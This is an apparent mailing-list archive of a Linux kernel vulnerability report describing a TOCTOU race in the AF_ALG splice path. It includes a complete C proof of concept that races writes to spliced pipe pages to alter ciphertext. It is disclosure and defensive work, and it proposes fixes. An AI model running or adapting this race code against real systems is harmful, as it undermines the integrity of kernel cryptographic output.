* [Possible vulnerability] crypto/af_alg: extract_bvec_to_sg() retains spliced pipe pages in TX SGL without sendpage_ok() check
@ 2026-05-02 15:47 Feng Ning
0 siblings, 0 replies; only message in thread
From: Feng Ning @ 2026-05-02 15:47 UTC (permalink / raw)
To: linux-crypto; +Cc: herbert
[-- Attachment #1: Type: text/plain, Size: 2871 bytes --]
[Possible vulnerability] crypto/af_alg: extract_bvec_to_sg() retains spliced pipe pages in TX SGL without sendpage_ok() check
Hello kernel security team & linux-crypto,
This is a follow-up to CVE-2026-31431 ("Copy Fail") fixed by
a664bf3d603d crypto: algif_aead - Revert to operating out-of-place
We have identified that the underlying primitive — extract_iter_to_sg()
with ITER_BVEC backend in lib/scatterlist.c — does not perform a
sendpage_ok() / page->mapping filter when transferring pipe pages
into a permanent scatterlist. This makes the AF_ALG path
(crypto/af_alg.c MSG_SPLICE_PAGES branch) retain attacker-controlled
pipe pages in the TX SGL until recvmsg(), creating a TOCTOU race window
during which crypto subsystem reads of the SGL observe attacker-mutated
page content.
In contrast, skb_splice_from_iter() (net/core/skbuff.c) does include a
WARN_ON_ONCE(!sendpage_ok(page)) check before persisting the page.
Source anchors (verified against mainline HEAD 08d0d3466664):
- lib/scatterlist.c: extract_bvec_to_sg() at lines 1166-1205
- crypto/af_alg.c: MSG_SPLICE_PAGES branch at lines 1020-1040
- crypto/algif_skcipher.c: skcipher_request_set_crypt() at line 161
PoC results (lab-only, attached as poc-k02-splice-afalg.c):
- Tested kernel: Linux 6.8.0-110-generic (Ubuntu 24.04, x86_64)
- Algorithm: skcipher / "ecb(aes)"
- Race: vmsplice(SPLICE_F_GIFT) -> splice -> AF_ALG opfd; race writer
XOR-flips page bytes between splice() and recvmsg()
- Result: 5 stable runs, mean 5.6 race-affected ciphertexts per
500 rounds (1.1% race hit rate)
- Build: gcc -pthread -o poc poc-k02-splice-afalg.c
- Run: ./poc
Independent inner-template audit (44 crypto/*.c templates and
drivers/crypto/) confirms that under the post-a664bf3d603d state, no
inner template sub-path writes back to req->src in user-space flows.
Severity is therefore confined to ciphertext integrity (race window)
under default software crypto. Hardware crypto offload paths
(CAAM/OMAP/Atmel/CAAM) gate in-place on req->src == req->dst, which
the current algif_* surface no longer satisfies. Privilege escalation
under the software path was not demonstrated.
Suggested mitigation:
- Add sendpage_ok() check (or stronger: page->mapping == NULL ||
PageAnon(page)) inside extract_bvec_to_sg() in lib/scatterlist.c,
optionally behind an iov_iter_extraction_t flag if performance
sensitive.
- Alternative: copy pipe pages instead of retaining via get_page()
for the AF_ALG callsites specifically.
We are not requesting a CVE for this report at this time and welcome
your assessment of severity.
Reporter:
Feng Ning <feng@innora.ai>
PGP fingerprint: 7D1A285EF3FE907C1594FA292E73300F628AE89E
(please encrypt any sensitive reply against this key)
Best regards,
Feng Ning
[-- Attachment #2: poc-k02-splice-afalg.c --]
[-- Type: text/plain, Size: 5119 bytes --]
/*
* K-02 PoC v2: AF_ALG splice TOCTOU — simplified, single-opfd
*
* Theory: vmsplice(SPLICE_F_GIFT) puts user page into pipe.
* splice(pipe -> AF_ALG opfd) extracts pipe page into SGL
* via extract_iter_to_sg() -> get_page().
* If page is retained (not copied), race writer modifying
* the page between splice() and recvmsg() changes ciphertext.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <linux/if_alg.h>
#include <pthread.h>
#include <stdint.h>
#define BLOCK 16
static int afalg_setup(const char *name, const unsigned char *key, int klen)
{
int tfm = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfm < 0) { perror("socket"); return -1; }
struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "skcipher" };
strncpy((char*)sa.salg_name, name, sizeof(sa.salg_name)-1);
if (bind(tfm, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); close(tfm); return -1;
}
if (setsockopt(tfm, SOL_ALG, ALG_SET_KEY, key, klen) < 0) {
perror("setsockopt KEY"); close(tfm); return -1;
}
return tfm;
}
static void encrypt_ref(int opfd, const unsigned char *in,
unsigned char *out, size_t len)
{
struct iovec iov = { (void*)in, len };
struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(opfd, &msg, 0) != (ssize_t)len) { perror("sendmsg ref"); return; }
iov.iov_base = out; iov.iov_len = len;
if (recvmsg(opfd, &msg, 0) != (ssize_t)len) { perror("recvmsg ref"); }
}
static volatile int race_go;
static void *race_thread(void *arg)
{
unsigned char *page = arg;
while (!race_go) __sync_synchronize();
for (int i = 0; i < 50000; i++) {
page[0] ^= 0xFF;
__sync_synchronize();
}
return NULL;
}
int main(void)
{
unsigned char key[BLOCK] = {0x0,0x1,0x2,0x3,0x4,0x5,0x6,0x7,
0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF};
unsigned char pt[BLOCK] = {0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
0x88,0x99,0xAA,0xBB,0xCC,0xDD,0xEE,0xFF};
unsigned char ref[BLOCK], buf[BLOCK];
int tfm, opfd, pipefd[2];
printf("[+] K-02 PoC: AF_ALG splice TOCTOU\n");
tfm = afalg_setup("ecb(aes)", key, BLOCK);
if (tfm < 0) return 1;
/* reference ciphertext via normal sendmsg/recvmsg */
opfd = accept(tfm, NULL, 0);
if (opfd < 0) { perror("accept"); return 1; }
encrypt_ref(opfd, pt, ref, BLOCK);
printf("[+] Reference ciphertext computed\n");
close(opfd);
/* allocate page-aligned buffer */
unsigned char *page = mmap(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) { perror("mmap"); return 1; }
if (pipe(pipefd) < 0) { perror("pipe"); return 1; }
int hits = 0, rounds = 500;
for (int r = 0; r < rounds; r++) {
memcpy(page, pt, BLOCK);
opfd = accept(tfm, NULL, 0);
if (opfd < 0) continue;
/* vmsplice: user page -> pipe (zero-copy with SPLICE_F_GIFT) */
struct iovec iov = { page, BLOCK };
if (vmsplice(pipefd[1], &iov, 1, SPLICE_F_GIFT) < 0) {
/* Gift failed (page not suitable), do copy */
if (vmsplice(pipefd[1], &iov, 1, 0) < 0) {
perror("vmsplice"); close(opfd); continue;
}
}
/* splice: pipe -> AF_ALG (sendmsg equivalent) */
if (splice(pipefd[0], NULL, opfd, NULL, BLOCK,
SPLICE_F_MOVE | SPLICE_F_MORE) < 0) {
perror("splice"); close(opfd); continue;
}
/* Start race writer */
race_go = 0;
pthread_t thr;
pthread_create(&thr, NULL, race_thread, page);
race_go = 1; /* let writer start after splice, before recvmsg */
/* recvmsg: read ciphertext */
struct iovec iov_rx = { buf, BLOCK };
struct msghdr msg = { .msg_iov = &iov_rx, .msg_iovlen = 1 };
ssize_t n = recvmsg(opfd, &msg, 0);
pthread_join(thr, NULL);
close(opfd);
if (n == BLOCK && memcmp(buf, ref, BLOCK) != 0) {
hits++;
if (hits <= 3) {
printf("[!] ROUND %d: MISMATCH!\n", r);
printf(" ref: "); for(int i=0;i<BLOCK;i++) printf("%02x",ref[i]); printf("\n");
printf(" got: "); for(int i=0;i<BLOCK;i++) printf("%02x",buf[i]); printf("\n");
}
}
}
printf("[+] %d/%d rounds, %d TOCTOU hits\n", rounds, rounds, hits);
printf("[+] Verdict: %s\n", hits > 0
? "VULNERABLE — splice pipe page retained in AF_ALG SGL"
: "No TOCTOU in this run (may need KASAN kernel + pagecache page)");
munmap(page, 4096);
close(pipefd[0]); close(pipefd[1]); close(tfm);
return (hits > 0) ? 0 : 1;
}
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2026-05-02 15:47 UTC | newest]
Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-02 15:47 [Possible vulnerability] crypto/af_alg: extract_bvec_to_sg() retains spliced pipe pages in TX SGL without sendpage_ok() check Feng Ning
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox